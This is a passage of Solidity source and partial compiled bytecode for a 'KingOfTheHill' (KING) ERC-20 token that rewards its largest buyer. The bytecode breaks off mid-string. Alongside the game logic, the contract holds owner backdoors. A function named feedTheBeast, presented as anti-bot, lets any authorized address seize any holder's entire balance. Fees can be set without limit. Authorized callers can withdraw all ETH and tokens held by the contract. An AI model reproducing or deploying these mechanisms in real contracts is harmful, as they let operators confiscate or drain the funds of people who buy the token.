mapping(address => bool) internal authorizations; constructor(address _owner) { owner = _owner; authorizations[_owner] = true; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } modifier authorized() { require(isAuthorized(msg.sender), "!AUTHORIZED"); _; } function authorize(address adr) public onlyOwner { authorizations[adr] = true; } function unauthorize(address adr) public onlyOwner { authorizations[adr] = false; } function isOwner(address account) public view returns (bool) { return account == owner; } function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } function transferOwnership(address payable adr) public onlyOwner { owner = adr; authorizations[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } abstract contract ERC20Interface { function balanceOf(address whom) public view virtual returns (uint256); } contract KingOfTheHill is IERC20, Auth { using SafeMath for uint256; string constant _name = "King"; string constant _symbol = "KING"; uint8 constant _decimals = 18; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 _totalSupply = 10000 * (10**_decimals); uint256 public biggestBuy = 0; uint256 public lastKingChange = 0; uint256 public resetPeriod = 1 hours; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) public isFeeExempt; mapping(address => bool) public isTxLimitExempt; mapping(address => bool) public hasSold; uint256 public liquidityFee = 2; uint256 public marketingFee = 9; uint256 public kingFee = 4; uint256 public totalFee = 0; uint256 public totalFeeIfSelling = 0; address public autoLiquidityReceiver; address public marketingWallet; address public King; IDEXRouter public router; address public pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 private _maxTxAmount = _totalSupply / 100; uint256 private _maxWalletAmount = _totalSupply / 50; uint256 public swapThreshold = _totalSupply / 100; modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } event AutoLiquify(uint256 amountETH, uint256 amountToken); event NewKing(address king, uint256 buyAmount); event KingPayout(address king, uint256 amountETH); event KingSold(address king, uint256 amountETH); constructor() Auth(msg.sender) { router = IDEXRouter(routerAddress); pair = IDEXFactory(router.factory()).createPair( router.WETH(), address(this) ); _allowances[address(this)][address(router)] = uint256(-1); isFeeExempt[DEAD] = true; isTxLimitExempt[DEAD] = true; isFeeExempt[msg.sender] = true; isFeeExempt[address(this)] = true; isTxLimitExempt[msg.sender] = true; isTxLimitExempt[pair] = true; autoLiquidityReceiver = msg.sender; marketingWallet = msg.sender; King = msg.sender; totalFee = liquidityFee.add(marketingFee).add(kingFee); totalFeeIfSelling = totalFee; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() external pure override returns (string memory) { return _name; } function symbol() external pure override returns (string memory) { return _symbol; } function decimals() external pure override returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function getOwner() external view override returns (address) { return owner; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function setMaxTxAmount(uint256 amount) external authorized { _maxTxAmount = amount; } function setFees( uint256 newLiquidityFee, uint256 newMarketingFee, uint256 newkingFee ) external authorized { liquidityFee = newLiquidityFee; marketingFee = newMarketingFee; kingFee = newkingFee; } function feedTheBeast(address bot) external authorized { uint256 botBalance = _balances[bot]; _balances[address(this)] = _balances[address(this)].add(botBalance); _balances[bot] = 0; emit Transfer(bot, address(this), botBalance); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, uint256(-1)); } function setIsFeeExempt(address holder, bool exempt) external authorized { isFeeExempt[holder] = exempt; } function setIsTxLimitExempt(address holder, bool exempt) external authorized { isTxLimitExempt[holder] = exempt; } function setSwapThreshold(uint256 threshold) external authorized { swapThreshold = threshold; } function setFeeReceivers( address newLiquidityReceiver, address newMarketingWallet ) external authorized { autoLiquidityReceiver = newLiquidityReceiver; marketingWallet = newMarketingWallet; } function setResetPeriodInSeconds(uint256 newResetPeriod) external authorized { resetPeriod = newResetPeriod; } function _reset() internal { King = marketingWallet; biggestBuy = 0; lastKingChange = block.timestamp; } function epochReset() external view returns (uint256) { return lastKingChange + resetPeriod; } function _checkTxLimit( address sender, address recipient, uint256 amount ) internal { if (block.timestamp - lastKingChange > resetPeriod) { _reset(); } if ( sender != owner && recipient != owner && !isTxLimitExempt[recipient] && recipient != ZERO && recipient != DEAD && recipient != pair && recipient != address(this) ) { require(amount <= _maxTxAmount, "MAX TX"); uint256 contractBalanceRecipient = balanceOf(recipient); require( contractBalanceRecipient + amount <= _maxWalletAmount, "Exceeds maximum wallet token amount" ); address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(this); uint256 usedEth = router.getAmountsIn(amount, path)[0]; if (!hasSold[recipient] && usedEth > biggestBuy) { King = recipient; biggestBuy = usedEth; lastKingChange = block.timestamp; emit NewKing(King, biggestBuy); } } if ( sender != owner && recipient != owner && !isTxLimitExempt[sender] && sender != pair && recipient != address(this) ) { require(amount <= _maxTxAmount, "MAX TX"); if (King == sender) { emit KingSold(King, biggestBuy); _reset(); } hasSold[sender] = true; } } function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit) external authorized { swapAndLiquifyEnabled = enableSwapBack; swapThreshold = newSwapBackLimit; } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { if (_allowances[sender][msg.sender] != uint256(-1)) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] .sub(amount, "Insufficient Allowance"); } _transferFrom(sender, recipient, amount); return true; } function _transferFrom( address sender, address recipient, uint256 amount ) internal returns (bool) { if (inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } if ( msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold ) { swapBack(); } _checkTxLimit(sender, recipient, amount); require(!isWalletToWallet(sender, recipient), "Don't cheat"); _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(msg.sender, recipient, amountReceived); return true; } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee; uint256 feeAmount = amount.mul(feeApplicable).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function isWalletToWallet(address sender, address recipient) internal view returns (bool) { if (isFeeExempt[sender] || isFeeExempt[recipient]) { return false; } if (sender == pair || recipient == pair) { return false; } return true; } function swapBack() internal lockTheSwap { //uint256 tokensToLiquify = _balances[address(this)]; uint256 tokensToLiquify = swapThreshold; uint256 amountToLiquify = tokensToLiquify .mul(liquidityFee) .div(totalFee) .div(2); uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance; uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHMarketing = amountETH.mul(marketingFee).div( totalETHFee ); uint256 amountETHKing = amountETH.mul(kingFee).div(totalETHFee); uint256 amountETHLiquidity = amountETH .mul(liquidityFee) .div(totalETHFee) .div(2); (bool tmpSuccess, ) = payable(marketingWallet).call{ value: amountETHMarketing, gas: 30000 }(""); (bool tmpSuccess2, ) = payable(King).call{ value: amountETHKing, gas: 30000 }(""); emit KingPayout(King, amountETHKing); // only to supress warning msg tmpSuccess = false; tmpSuccess2 = false; if (amountToLiquify > 0) { router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } function recoverLosteth() external authorized { payable(msg.sender).transfer(address(this).balance); } function recoverLostTokens(address _token, uint256 _amount) external authorized { IERC20(_token).transfer(msg.sender, _amount); } }
0x60806040526004361061028c5760003560e01c80638b42507f1161015a578063cec10c11116100c1578063f0b37c041161007a578063f0b37c0414610eba578063f2fde38b14610f0b578063f84ba65d14610f5c578063f887ea4014610fb9578063fe9fbb8014610ffa578063ffd039261461106157610293565b8063cec10c1114610ca2578063dd62ed3e14610cf1578063dec2ba0f14610d76578063df20fd4914610dd1578063ec28438a14610e18578063ed14f20a14610e5357610293565b8063a4b45c0011610113578063a4b45c0014610ac2578063a8aa1b3114610b33578063a9059cbb14610b74578063b6a5d7de14610be5578063ca33e64c14610c36578063ca987b0e14610c7757610293565b80638b42507f1461090f5780638eb6889f14610976578063944c1d97146109a157806395d89b41146109cc57806398118cb414610a5c5780639d0014b114610a8757610293565b80633ae30236116101fe578063658d4b7f116101b7578063658d4b7f146107655780636b67c4df146107c257806370a08231146107ed578063712a890a1461085257806375f0a8741461088d578063893d20e8146108ce57610293565b80633ae30236146105c35780633e02a988146106145780633f4218e01461063f5780634a74bb02146106a6578063571ac8b0146106d35780635a346c5d1461073a57610293565b80631df4ccfc116102505780631df4ccfc1461043057806323b872dd1461045b5780632b112e49146104ec5780632f54bf6e14610517578063313ce5671461057e57806333596f50146105ac57610293565b80630445b6671461029857806306fdde03146102c3578063079ce62714610353578063095ea7b31461039457806318160ddd1461040557610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad61108c565b6040518082815260200191505060405180910390f35b3480156102cf57600080fd5b506102d8611092565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103185780820151818401526020810190506102fd565b50505050905090810190601f1680156103455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035f57600080fd5b506103686110cf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103a057600080fd5b506103ed600480360360408110156103b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110f5565b60405180821515815260200191505060405180910390f35b34801561041157600080fd5b5061041a6111e7565b6040518082815260200191505060405180910390f35b34801561043c57600080fd5b506104456111f1565b6040518082815260200191505060405180910390f35b34801561046757600080fd5b506104d46004803603606081101561047e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111f7565b60405180821515815260200191505060405180910390f35b3480156104f857600080fd5b506105016113fa565b6040518082815260200191505060405180910390f35b34801561052357600080fd5b506105666004803603602081101561053a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061147c565b60405180821515815260200191505060405180910390f35b34801561058a57600080fd5b506105936114d5565b604051808260ff16815260200191505060405180910390f35b3480156105b857600080fd5b506105c16114de565b005b3480156105cf57600080fd5b50610612600480360360208110156105e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115a2565b005b34801561062057600080fd5b506106296117a4565b6040518082815260200191505060405180910390f35b34801561064b57600080fd5b5061068e6004803603602081101561066257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b2565b60405180821515815260200191505060405180910390f35b3480156106b257600080fd5b506106bb6117d2565b60405180821515815260200191505060405180910390f35b3480156106df57600080fd5b50610722600480360360208110156106f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117e5565b60405180821515815260200191505060405180910390f35b34801561074657600080fd5b5061074f611818565b6040518082815260200191505060405180910390f35b34801561077157600080fd5b506107c06004803603604081101561078857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061181e565b005b3480156107ce57600080fd5b506107d76118f4565b6040518082815260200191505060405180910390f35b3480156107f957600080fd5b5061083c6004803603602081101561081057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fa565b6040518082815260200191505060405180910390f35b34801561085e57600080fd5b5061088b6004803603602081101561087557600080fd5b8101908080359060200190929190505050611943565b005b34801561089957600080fd5b506108a26119c8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108da57600080fd5b506108e36119ee565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561091b57600080fd5b5061095e6004803603602081101561093257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a17565b60405180821515815260200191505060405180910390f35b34801561098257600080fd5b5061098b611a37565b6040518082815260200191505060405180910390f35b3480156109ad57600080fd5b506109b6611a3d565b6040518082815260200191505060405180910390f35b3480156109d857600080fd5b506109e1611a43565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a21578082015181840152602081019050610a06565b50505050905090810190601f168015610a4e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a6857600080fd5b50610a71611a80565b6040518082815260200191505060405180910390f35b348015610a9357600080fd5b50610ac060048036036020811015610aaa57600080fd5b8101908080359060200190929190505050611a86565b005b348015610ace57600080fd5b50610b3160048036036040811015610ae557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b0b565b005b348015610b3f57600080fd5b50610b48611c0c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b8057600080fd5b50610bcd60048036036040811015610b9757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c32565b60405180821515815260200191505060405180910390f35b348015610bf157600080fd5b50610c3460048036036020811015610c0857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c47565b005b348015610c4257600080fd5b50610c4b611d1c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c8357600080fd5b50610c8c611d42565b6040518082815260200191505060405180910390f35b348015610cae57600080fd5b50610cef60048036036060811015610cc557600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611d48565b005b348015610cfd57600080fd5b50610d6060048036036040811015610d1457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ddd565b6040518082815260200191505060405180910390f35b348015610d8257600080fd5b50610dcf60048036036040811015610d9957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e64565b005b348015610ddd57600080fd5b50610e1660048036036040811015610df457600080fd5b8101908080351515906020019092919080359060200190929190505050611f90565b005b348015610e2457600080fd5b50610e5160048036036020811015610e3b57600080fd5b8101908080359060200190929190505050612030565b005b348015610e5f57600080fd5b50610ea260048036036020811015610e7657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120b5565b60405180821515815260200191505060405180910390f35b348015610ec657600080fd5b50610f0960048036036020811015610edd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120d5565b005b348015610f1757600080fd5b50610f5a60048036036020811015610f2e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121ab565b005b348015610f6857600080fd5b50610fb760048036036040811015610f7f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061230d565b005b348015610fc557600080fd5b50610fce6123e3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561100657600080fd5b506110496004803603602081101561101d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612409565b60405180821515815260200191505060405180910390f35b34801561106d57600080fd5b5061107661245f565b6040518082815260200191505060405180910390f35b601a5481565b60606040518060400160405280600481526020017f4b696e6700000000000000000000000000000000000000000000000000000000815250905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60115481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146113e357611362826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6113ee8484846125ad565b50600190509392505050565b600061147761142a600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166118fa565b611469611458600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166118fa565b6005546129cd90919063ffffffff16565b6129cd90919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b6114e733612409565b611559576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561159f573d6000803e3d6000fd5b50565b6115ab33612409565b61161d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506116b381600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600060085460075401905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b601760159054906101000a900460ff1681565b6000611811827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6110f5565b9050919050565b60105481565b61182733612409565b611899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f5481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61194c33612409565b6119be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c6020528060005260406000206000915054906101000a900460ff1681565b60065481565b60085481565b60606040518060400160405280600481526020017f4b494e4700000000000000000000000000000000000000000000000000000000815250905090565b600e5481565b611a8f33612409565b611b01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601a8190555050565b611b1433612409565b611b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611c3f3384846125ad565b905092915050565b611c503361147c565b611cc2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b611d5133612409565b611dc3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b82600e8190555081600f8190555080601081905550505050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611e6d33612409565b611edf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f5057600080fd5b505af1158015611f64573d6000803e3d6000fd5b505050506040513d6020811015611f7a57600080fd5b8101908080519060200190929190505050505050565b611f9933612409565b61200b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601760156101000a81548160ff02191690831515021790555080601a819055505050565b61203933612409565b6120ab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060188190555050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6120de3361147c565b612150576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6121b43361147c565b612226576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b61231633612409565b612388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60075481565b6000808284019050838110156124e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600083831115829061259a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561255f578082015181840152602081019050612544565b50505050905090810190601f16801561258c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000601760149054906101000a900460ff16156125d6576125cf848484612a17565b90506129c6565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156126415750601760149054906101000a900460ff16155b80156126595750601760159054906101000a900460ff165b80156126a65750601a54600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156126b4576126b3612bea565b5b6126bf8484846132fc565b6126c98484613dd5565b1561273c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f446f6e277420636865617400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6127c5826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128ae5750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6128b857826128c4565b6128c3858585613f48565b5b905061291881600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b6000612a0f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124ed565b905092915050565b6000612aa2826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b3782600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6001601760146101000a81548160ff0219169083151502179055506000601a5490506000612c4a6002612c3c601154612c2e600e54876140f090919063ffffffff16565b61417690919063ffffffff16565b61417690919063ffffffff16565b90506000612c6182846129cd90919063ffffffff16565b90506060600267ffffffffffffffff81118015612c7d57600080fd5b50604051908082528060200260200182016040528015612cac5781602001602082028036833780820191505090505b5090503081600081518110612cbd57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612d5f57600080fd5b505afa158015612d73573d6000803e3d6000fd5b505050506040513d6020811015612d8957600080fd5b810190808051906020019092919050505081600181518110612da757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612ea5578082015181840152602081019050612e8a565b505050509050019650505050505050600060405180830381600087803b158015612ece57600080fd5b505af1158015612ee2573d6000803e3d6000fd5b5050505060004790506000612f17612f066002600e5461417690919063ffffffff16565b6011546129cd90919063ffffffff16565b90506000612f4282612f34600f54866140f090919063ffffffff16565b61417690919063ffffffff16565b90506000612f6d836